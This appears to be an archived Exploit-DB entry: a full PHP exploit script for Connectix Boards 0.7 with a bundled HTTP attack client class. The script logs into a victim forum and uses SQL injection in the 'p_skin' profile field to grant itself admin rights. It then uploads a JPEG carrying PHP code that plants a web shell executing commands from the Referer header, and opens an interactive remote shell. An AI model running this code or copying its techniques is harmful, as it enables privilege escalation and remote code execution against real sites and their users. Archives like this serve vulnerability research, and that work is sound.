标题: Connectix Boards 0.7 - 'p_skin' Multiple Vulnerabilities EDB-ID: 3352 CVE: 2007-1255 2007-1254 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: #!/usr/bin/php
<?php
error_reporting(E_ALL ^ E_NOTICE);

if($argc < 9) {
print("
 Connectix Boards <= 0.7 (p_skin) Multiple Vulnerabilities Exploit
-------------------------------------------------------------------
PHP conditions: none
       Credits: DarkFig <gmdarkfig@gmail.com>
           URL: http://www.acid-root.new.fr/
-------------------------------------------------------------------
  Usage: $argv[0] -url <> -usr <> -pwd <> -type <> [Options]
 Params: -url       For example http://victim.com/connectix/ 
         -usr       The username of your account
         -pwd       The password of your account
         -type      Privilege Escalation(1) or Code execution(2)
Options: -proxy     If you wanna use a proxy <proxyhost:proxyport> 
         -proxyauth Basic authentification <proxyuser:proxypwd> 
-------------------------------------------------------------------
"); exit(1);
}

$url    = getparam('url',1);
$user   = getparam('usr',1);
$pass   = getparam('pwd',1);
$type   = getparam('type',1);
$proxy  = getparam('proxy');
$authp  = getparam('proxyauth');
$theme  = 'Zephyr';

$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");
$xpl->allowredirection(1);
$xpl->cookiejar(1);
if($proxy) $xpl->proxy($proxy);
if($authp) $xpl->proxyauth($authp);

print "\nTrying to get logged in";
$xpl->post($url.'index.php?act=login',"username=$user&password=$pass&remember=on&confirm=Connexion+%21");
if(preg_match("#password#",$xpl->showcookie())) print "\nLogged in";
else exit("\nExploit failed");

sploit(", usr_class=1");
if($type==1) exit("\nDone, $user is now admin.");

# Fake JPG (with php code) generated with edjpgcom.exe
#
# <?php $handle=fopen('mdrpipicacalolxdwtf.gif.php','w+');
# fwrite($handle,'<?php @system($_SERVER[HTTP_REFERER]); ?/>');
# fclose($handle); unlink($_SERVER[PHP_SELF]); ?/>
#
$f = "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00\x60\x00\x60\x00\x00\xFF"
    ."\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\x09\x09\x08\x0A\x0C\x14"
    ."\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24"
    ."\x2E\x27\x20\x22\x2C\x23\x1C\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39"
    ."\x3D\x38\x32\x3C\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18"
    ."\x0D\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
    ."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
    ."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\xFF\xFE\x00"
    ."\xA5\x3C\x3F\x70\x68\x70\x20\x24\x68\x61\x6E\x64\x6C\x65\x3D\x66\x6F\x70\x65\x6E"
    ."\x28\x27\x6D\x64\x72\x70\x69\x70\x69\x63\x61\x63\x61\x6C\x6F\x6C\x78\x64\x77\x74"
    ."\x66\x2E\x67\x69\x66\x2E\x70\x68\x70\x27\x2C\x27\x77\x2B\x27\x29\x3B\x66\x77\x72"
    ."\x69\x74\x65\x28\x24\x68\x61\x6E\x64\x6C\x65\x2C\x27\x3C\x3F\x70\x68\x70\x20\x40"
    ."\x73\x79\x73\x74\x65\x6D\x28\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x48\x54\x54\x50"
    ."\x5F\x52\x45\x46\x45\x52\x45\x52\x5D\x29\x3B\x20\x3F\x3E\x27\x29\x3B\x66\x63\x6C"
    ."\x6F\x73\x65\x28\x24\x68\x61\x6E\x64\x6C\x65\x29\x3B\x20\x75\x6E\x6C\x69\x6E\x6B"
    ."\x28\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x50\x48\x50\x5F\x53\x45\x4C\x46\x5D\x29"
    ."\x3B\x20\x3F\x3E\xFF\xC0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00\x02\x11\x01"
    ."\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00"
    ."\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5"
    ."\x10\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03"
    ."\x00\x04\x11\x05\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1"
    ."\x08\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17\x18\x19"
    ."\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47\x48"
    ."\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68\x69\x6A\x73\x74"
    ."\x75\x76\x77\x78\x79\x7A\x83\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97"
    ."\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9"
    ."\xBA\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1"
    ."\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF"
    ."\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
    ."\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01"
    ."\x02\x04\x04\x03\x04\x07\x05\x04\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05"
    ."\x21\x31\x06\x12\x41\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1\xB1\xC1"
    ."\x09\x23\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x18\x19\x1A"
    ."\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47\x48\x49\x4A\x53"
    ."\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77"
    ."\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99"
    ."\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2"
    ."\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4"
    ."\xE5\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00\x0C\x03"
    ."\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF7\xFA\x28\xA2\x80\x3F\xFF\xD9";

# +admin.bbcode.php
# |
# 95. if(isset($_POST['wherefile'])) {
# 96. if ($_POST['wherefile']=='upload') {
# 97. if (!empty($_FILES['uploadimage']['size'])){
# 98. if ($image=getimagesize(trim($_FILES['uploadimage']['tmp_name']))) {
# 99. $val = array(IMAGETYPE_GIF,IMAGETYPE_JPEG,IMAGETYPE_PNG);
# 100. if ($_FILES['uploadimage']['size'] <= 20480 && in_array($image[2],$val)) {
# 101. $filename = $smile->smiley_librariesdir.$_POST['sm_filenameserver'];
# 102. $filename = str_replace('../','',trim($filename));
# 103. //si le filenameserver contient un dossier : on cr?e ce dossier:
# 104. mkdirs($smile->smiley_dir.dirname($filename));
# 105. if (move_uploaded_file($_FILES['uploadimage']['tmp_name'], $smile->smiley_dir.$_POST['sm_filenameserver'])) {
# 106. $do=true;
# 107. }
#
$arr = array(frmdt_url => $url.'admin.php?act=bb&sub=4',
             "sm_name" => ":AbCdEfGhIj1234dsupersmilepowaa:",
             "sm_filenamesubdir" => "libraries/",
             "sm_filenameserver" => "xd.gif.php",
             "wherefile" => "upload",
             "sm_send" => "Confirmer",
             "uploadimage" => array(frmdt_type => "image/gif",
                                    frmdt_filename => "xd.gif.php",
                                    frmdt_content => $f));
$xpl->formdata($arr);
$xpl->get($url."smileys/xd.gif.php");
print "\n\$shell> ";

while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
    $xpl->addheader("Referer",$cmd);
    $xpl->get($url."smileys/mdrpipicacalolxdwtf.gif.php");
    print $xpl->getcontent()."\n\$shell> ";
}                                   

function sploit($sql)
{
 global $url,$xpl,$theme,$user;
 $pdat = "changeparams=1"
           ."&p_usrs=20"
           ."&p_topics=20"
           ."&p_msgs=15"
           ."&p_res=12"
           ."&p_skin=$theme"
           ."%00',usr_pref_skin='$theme',usr_signature=(SELECT '[XPL_IS_OK]')$sql WHERE usr_name='$user' #"
           ."&p_lang=fr"
           ."&p_timezone=1";

           # +common.php
           # |
           # 95. function cleanArray(&$arr) {
           # 96. if (!empty($arr) && is_array($arr)) {
           # 97.  foreach($arr as $k => $v) {
           # 98.   if (is_array($v)) cleanArray($arr[$k]);
           # 99.   else $arr[$k] = stripslashes($v);
           # 100.  }
           # 101. }
           # 102. }
           # |
           # 105. if (get_magic_quotes_gpc()) {
           # 106. cleanArray($_POST);
           # 107. cleanArray($_COOKIE);
           # 108. cleanArray($_GET);
           # 109. }
           #
           # +part.userprofile.php
           # |
           # 305. /* Changement des param?tres d'affichage (pas accessible par les modos ou admins) */
           # 306. } elseif (isset($_POST['changeparams']) && $edit_id==$_SESSION['userid']) {
           # 307. if ( isset($_POST['p_usrs'],$_POST['p_topics'],$_POST['p_msgs'],$_POST['p_res'],$_POST['p_skin'],$_POST['p_lang'],$_POST['p_timezone']) ) {
           # 308. if (is_numeric($_POST['p_usrs']) && is_numeric($_POST['p_topics']) && is_numeric($_POST['p_msgs']) && is_numeric($_POST['p_res']) && isLang($_POST['p_lang']) && isSkin($_POST['p_skin'])) {
           # 309. if ((int)$_POST['p_usrs']>=5 && (int)$_POST['p_usrs']<=50 && (int)$_POST['p_topics']>=5 && (int)$_POST['p_topics']<=50 && (int)$_POST['p_msgs']>=5 && (int)$_POST['p_msgs']<=50 && (int)$_POST['p_res']>=5 && (int)$_POST['p_res']<=50 && in_array($_POST['p_timezone'],array_keys($timezones))) {
           # 310. $GLOBALS['cb_db']->query("UPDATE ".$GLOBALS['cb_db']->prefix."users SET usr_pref_msgs='".(int)$_POST['p_msgs']."',usr_pref_usrs='".(int)$_POST['p_usrs']."',usr_pref_topics='".(int)$_POST['p_topics']."',usr_pref_res='".(int)$_POST['p_res']."',usr_pref_lang='".$_POST['p_lang']."',usr_pref_skin='".$_POST['p_skin']."',usr_pref_timezone='".$_POST['p_timezone']."',usr_pref_ctsummer=".((int)(isset($_POST['p_ctsummer']) && $_POST['p_ctsummer']=='on'))." WHERE usr_id=".$_SESSION['cb_user']->userid);
           # 311. $_SESSION['cb_user']->reloadnext=true;
           # 312. redirect(manage_url('index.php?act=user&editprofile='.$_SESSION['userid'].'&page=6','forum-profile'.$_SESSION['userid'].'-params.html'));
           #
           # +lib.cb.php
           # |
           # 117. function isLang ($langtype) {
           # 118. return is_dir(CB_PATH.'lang/'.$langtype);
           # 119. }
           # |
           # 133. function isSkin ($skintype) {
           # 134. return is_dir(CB_PATH.'skins/'.$skintype);
           # 135. }
           $xpl->post($url."index.php?act=user&editprofile=-1&page=6",$pdat);
           $xpl->get($url."index.php?act=user&editprofile=-1&page=5");
           
           if(preg_match('#[XPL_IS_OK]#',$xpl->getcontent())) return;
           else exit("Exploit failed");
}

function getparam($param,$opt='')
{
 global $argv;
 foreach($argv as $value => $key)
 {
  if($key == '-'.$param) return $argv[$value+1];
 }
 if($opt) exit("\n-$param parameter required");
 else return;
}

/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 5 (remove "private", "public" if you have PHP 4)
 * VERSION:        1.2
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 * 
 */

class phpsploit {

 /**
  * This function is called by the get()/post() functions.
  * You don't have to call it, this is the main function.
  *
  * @return $server_response
  */
 private function sock()
 {
  if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
  else $socket = fsockopen($this->host,$this->port);
  
  if(!$socket) die("Error: The host doesn't exist");
  
  if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
  elseif($this->method==="post" or $this->method==="formdata") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
  else die("Error: Invalid method");
  
  if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
  $this->packet .= "Host: ".$this->host."\r\n";
  
  if(!empty($this->agent))  $this->packet .= "User-Agent: ".$this->agent."\r\n";
  if(!empty($this->header)) $this->packet .= $this->header."\r\n";
  if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
  
  $this->packet .= "Connection: Close\r\n";
  if($this->method==="post")
  {
   $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
   $this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
   $this->packet .= $this->data."\r\n";
  }
  elseif($this->method==="formdata")
  {
   $this->packet .= "Content-Type: multipart/form-data; boundary=---------------------------".$this->boundary."\r\n";
   $this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
   $this->packet .= $this->data;
  }
  $this->packet .= "\r\n";
  $this->recv = '';
  
  fputs($socket,$this->packet);
  while(!feof($socket)) $this->recv .= fgets($socket);
  fclose($socket);
  
  if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
  if($this->allowredirection) return $this->allowredirection($this->recv);
  else return $this->recv;
 }
 

 /**
  * This function allows you to add several cookie in the
  * request. Several methods are supported:
  * 
  * $this->addcookie("name","value");
  * or
  * $this->addcookie("name=newvalue");
  * or
  * $this->addcookie("othername=overvalue; xx=zz; y=u");
  * 
  * @param string $cookiename
  * @param string $cookievalue
  * 
  */
 public function addcookie($cookn,$cookv='')
 {
  // $this->addcookie("name","value"); work avec replace
  if(!empty($cookv))
  {
   if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
   if(!empty($this->cookie))
   {
       if(preg_match("/$cookn=/",$this->cookie))
       {
        $this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
       }
       else
       {
        $this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
       }
   }
   else
   {
    $this->cookie = $cookn."=".$cookv.";";
   }
  }
  // $this->addcookie("name=value; othername=othervalue");
  else
  {
       if(!empty($this->cookie))
       {
        $cookn = preg_replace("/(.*);$/","$1",$cookn);
        $cookarr = explode(";",str_replace(" ", "",$cookn));
        for($i=0;$i<count($cookarr);$i++)
        {
         preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
         $cookn = $matches[1];
         $cookv = $matches[2];
         $this->addcookie($cookn,$cookv);
        }
       }
    else
    {
     $cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
     $this->cookie = $cookn;   
    }
  }
 }
 
 
 /**
  * This function allows you to add several headers in the
  * request. Several methods are supported:
  *
  * $this->addheader("headername","headervalue");
  * or
  * $this->addheader("headername: headervalue");
  *
  * @param string $headername
  * @param string $headervalue
  */
 public function addheader($headern,$headervalue='')
 {
  // $this->addheader("name","value");
  if(!empty($headervalue))
  {
   if(!empty($this->header))
   {
    if(preg_match("/$headern:/",$this->header))
    {
     $this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
    }
    else
    {
     $this->header .= "\r\n".$headern.": ".$headervalue;
    }
   }
   else
   {
    $this->header=$headern.": ".$headervalue;
   }
  }
  // $this->addheader("name: value");
  else 
  {
   if(!empty($this->header))
   {
    $headarr = explode(": ",$headern);
    $headern = $headarr[0];
    $headerv = $headarr[1];
    $this->addheader($headern,$headerv);
   }
   else
   {
    $this->header=$headern;
   }
  }
 }
 

 /**
  * This function allows you to use an http proxy server.
  * Several methods are supported:
  * 
  * $this->proxy("proxyip","8118");
  * or
  * $this->proxy("proxyip:8118")
  *
  * @param string $proxyhost
  * @param integer $proxyport
  */
 public function proxy($proxy,$proxyp='')
 {
  // $this->proxy("localhost:8118");
  if(empty($proxyp))
  {
   preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
   $proxh = $proxarr[1];
   $proxp = $proxarr[2];
   $this->proxyhost=$proxh;
   $this->proxyport=$proxp;
  }
  // $this->proxy("localhost",8118);
  else 
  {
   $this->proxyhost=$proxy;
   $this->proxyport=intval($proxyp);
  }
  if($this->proxyport > 65535) die("Error: Invalid port number");
 }
 

 /**
  * This function allows you to use an http proxy server
  * which requires a basic authentification. Several
  * methods are supported:
  * 
  * $this->proxyauth("darkfig","dapasswd");
  * or
  * $this->proxyauth("darkfig:dapasswd");
  *
  * @param string $proxyuser
  * @param string $proxypass
  */
 public function proxyauth($proxyauth,$proxypasse='')
 {
  // $this->proxyauth("darkfig:password");
  if(empty($proxypasse))
  {
   preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
   $proxu = $proxautharr[1];
   $proxp = $proxautharr[2];
   $this->proxyuser=$proxu;
   $this->proxypass=$proxp;
  }
  // $this->proxyauth("darkfig","password");
  else
  {
   $this->proxyuser=$proxyauth;
   $this->proxypass=$proxypasse;
  }
 }

 
 /**
  * This function allows you to set the "User-Agent" header.
  * Several methods are possible to do that:
  * 
  * $this->agent("Mozilla Firefox");
  * or
  * $this->addheader("User-Agent: Mozilla Firefox");
  * or
  * $this->addheader("User-Agent","Mozilla Firefox");
  * 
  * @param string $useragent
  */
 public function agent($useragent)
 {
  $this->agent=$useragent;
 }

 
 /**
  * This function returns the header which will be
  * in the next request.
  * 
  * $this->showheader();
  *
  * @return $header
  */
 public function showheader()
 {
  return $this->header;
 }

 
 /**
  * This function returns the cookie which will be
  * in the next request.
  * 
  * $this->showcookie();
  *
  * @return $storedcookies
  */
 public function showcookie()
 {
  return $this->cookie;
 }

 
 /**
  * This function returns the last formed
  * http request (the http packet).
  * 
  * $this->showlastrequest();
  * 
  * @return $last_http_request
  */
 public function showlastrequest()
 {
  return $this->packet;
 }
 
 
 /**
  * This function sends the formed http packet with the
  * GET method. You can precise the port of the host.
  * 
  * $this->get("http://localhost");
  * $this->get("http://localhost:888/xd/tst.php");
  * 
  * @param string $urlwithpath
  * @return $server_response
  */
 public function get($url)
 {
  $this->target($url);
  $this->method="get";
  return $this->sock();
 }

 
 /**
  * This function sends the formed http packet with the
  * POST method. You can precise the port of the host.
  * 
  * $this->post("http://localhost/index.php","admin=1&user=dark");
  *
  * @param string $urlwithpath
  * @param string $postdata
  * @return $server_response
  */ 
 public function post($url,$data)
 {
  $this->target($url);
  $this->method="post";
  $this->data=$data;
  return $this->sock();
 }
 

 /**
  * This function sends the formed http packet with the
  * POST method using the multipart/form-data enctype. 
  * 
  * $array = array(
  *          frmdt_url      => "http://localhost/upload.php",
  *          frmdt_boundary => "123456",                    # Optional
  *                 "email" => "me@u.com",
  *               "varname" => array(
  *                            frmdt_type => "image/gif",   # Optional
  *                       frmdt_transfert => "binary",      # Optional
  *                        frmdt_filename => "hello.php",
  *                         frmdt_content => "<?php echo ':)'; ?>"));
  * $this->formdata($array);
  *
  * @param array $array
  * @return $server_response
  */
 public function formdata($array)
 {
  $this->target($array[frmdt_url]);
  $this->method="formdata";
  $this->data='';
  if(!isset($array[frmdt_boundary])) $this->boundary="phpsploit";
  else $this->boundary=$array[frmdt_boundary];
  foreach($array as $key => $value)
  {
   if(!preg_match("#^frmdt_(boundary|url)#",$key))
   {
    $this->data .= "-----------------------------".$this->boundary."\r\n";
    $this->data .= "Content-Disposition: form-data; name=\"".$key."\";";
    if(!is_array($value))
    {
     $this->data .= "\r\n\r\n".$value."\r\n";
    }
    else
    {
     $this->data .= " filename=\"".$array[$key][frmdt_filename]."\";\r\n";
     if(isset($array[$key][frmdt_type])) $this->data .= "Content-Type: ".$array[$key][frmdt_type]."\r\n";
     if(isset($array[$key][frmdt_transfert])) $this->data .= "Content-Transfer-Encoding: ".$array[$key][frmdt_transfert]."\r\n";
     $this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
    }
   }
  }
  $this->data .= "-----------------------------".$this->boundary."--\r\n";
  return $this->sock();
 }

 
 /**
  * This function returns the content of the server response
  * without the headers.
  * 
  * $this->getcontent($this->get("http://localhost/"));
  * or
  * $this->getcontent();
  *
  * @param string $server_response
  * @return $onlythecontent
  */
 public function getcontent($code='')
 {
  if(empty($code)) $code = $this->recv;
  $content = explode("\n",$code);
  $onlycode = '';
  for($i=1;$i<count($content);$i++)
  {
   if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
   if($ok) $onlycode .= $content[$i]."\n";
  }
  return $onlycode;
 }

 
 /**
  * This function returns the headers of the server response
  * without the content.
  * 
  * $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
  * or
  * $this->getheader();
  *
  * @param string $server_response
  * @return $onlytheheaders
  */
 public function getheader($code='')
 {
  if(empty($code)) $code = $this->recv;
  $header = explode("\n",$code);
  $onlyheader = $header[0]."\n";
  for($i=1;$i<count($header);$i++)
  {
   if(!preg_match("/^(\S*):/",$header[$i])) break;
   $onlyheader .= $header[$i]."\n";
  }
  return $onlyheader;
 }

 
 /**
  * This function is called by the cookiejar() function.
  * It adds the value of the "Set-Cookie" header in the "Cookie"
  * header for the next request. You don't have to call it.
  * 
  * @param string $server_response
  */
 private function getcookie($code)
 {
  $carr = explode("\n",str_replace("\r\n","\n",$code));
  for($z=0;$z<count($carr);$z++)
  {
   if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
   {
    $cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
   }
  }

  for($i=0;$i<count($cookie);$i++)
  {
   preg_match("/(\S*)=(\S*)(|;)/",$cookie[$i],$matches);
              $cookn = $matches[1];
              $cookv = $matches[2];
              $this->addcookie($cookn,$cookv);
  }
    }

 
 /**
  * This function is called by the get()/post() functions.
  * You don't have to call it.
  *
  * @param string $urltarg
  */
 private function target($urltarg)
 {
  if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
  $this->url=$urltarg;
  
  $array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
  $this->host=$array[0];

  preg_match("/:(\d+)\//",$urltarg,$matches);
  $this->port=empty($matches[1]) ? 80 : $matches[1];
  
  $temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
  preg_match("/\/(.*)\//",$temp,$matches);
  $this->path=str_replace("//","/","/".$matches[1]."/");
 
  if($this->port > 65535) die("Error: Invalid port number");
 }
 
 
 /**
  * If you call this function, the script will
  * extract all "Set-Cookie" headers values
  * and it will automatically add them into the "Cookie" header
  * for all next requests.
  *
  * $this->cookiejar(1); // enabled
  * $this->cookiejar(0); // disabled
  * 
  */
 public function cookiejar($code)
 {
  if($code===0) $this->cookiejar='';
  if($code===1) $this->cookiejar=1;
  else
  {
   $this->getcookie($code);
  }
 }


 /**
  * If you call this function, the script will
  * follow all redirections sent by the server.
  * 
  * $this->allowredirection(1); // enabled
  * $this->allowredirection(0); // disabled
  * 
  * @return $this->get($locationresponse)
  */
 public function allowredirection($code)
 {
  if($code===0) $this->allowredirection='';
  if($code===1) $this->allowredirection=1;
  else
  {
   if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
   {
    $location = str_replace(chr(13),'',$codearr[2]);
    if(!eregi("://",$location))
    {
     return $this->get("http://".$this->host.$this->path.$location);
    }
    else
    {
     return $this->get($location);
    }
   }
   else
   {
    return $code;
   }
  }
 }
 
 
 /**
  * This function allows you to reset some parameters:
  * 
  * $this->reset(header); // headers cleaned
  * $this->reset(cookie); // cookies cleaned
  * $this->reset();       // clean all parameters
  *
  * @param string $func
  */
 public function reset($func='')
 {
  switch($func)
  {
   case "header":
   $this->header='';
   break;
   
   case "cookie":
   $this->cookie='';
   break;
   
   default:
          $this->cookiejar='';
          $this->header='';
          $this->cookie='';
          $this->allowredirection=''; 
          $this->agent='';
          break;
  }
 }
}
?>

# milw0rm.com [2007-02-21] URL: https://www.exploit-db.com/exploits/3352